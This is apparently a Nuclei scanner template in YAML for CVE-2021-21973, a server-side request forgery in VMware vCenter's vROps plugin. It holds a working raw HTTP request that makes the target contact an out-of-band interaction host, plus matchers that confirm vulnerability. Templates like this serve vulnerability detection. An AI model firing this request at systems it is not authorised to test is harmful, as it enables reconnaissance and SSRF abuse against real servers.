46 lines
1.6 KiB
YAML
46 lines
1.6 KiB
YAML
id: CVE-2021-21973
|
|
|
|
info:
|
|
name: VMware vSphere - Server-Side Request Forgery
|
|
author: pdteam
|
|
severity: medium
|
|
description: VMware vSphere (HTML5) is susceptible to server-side request forgery due to improper validation of URLs in a vCenter Server plugin. An attacker with network access to port 443 can exploit this issue by sending a POST request to the plugin. This affects VMware vCenter Server (7.x before 7.0 U1c, 6.7 before 6.7 U3l, and 6.5 before 6.5 U3n) and VMware Cloud Foundation (4.x before 4.2 and 3.x before 3.10.1.2).
|
|
reference:
|
|
- https://twitter.com/osama_hroot/status/1365586206982082560
|
|
- https://twitter.com/bytehx343/status/1486582542807420928
|
|
- https://www.vmware.com/security/advisories/VMSA-2021-0002.html
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2021-21973
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
|
|
cvss-score: 5.3
|
|
cve-id: CVE-2021-21973
|
|
cwe-id: CWE-918
|
|
epss-score: 0.18619
|
|
cpe: cpe:2.3:a:vmware:cloud_foundation:*:*:*:*:*:*:*:*
|
|
metadata:
|
|
max-request: 1
|
|
vendor: vmware
|
|
product: cloud_foundation
|
|
tags: cve,cve2021,vmware,ssrf,vcenter,oast,kev
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
GET /ui/vropspluginui/rest/services/getvcdetails HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Vcip: {{interactsh-url}}
|
|
Vcpassword: {{rand_base(6)}}
|
|
Vcusername: {{rand_base(6)}}
|
|
Reqresource: {{rand_base(6)}}
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: body
|
|
words:
|
|
- "The server sent HTTP status code 200"
|
|
|
|
- type: status
|
|
status:
|
|
- 500
|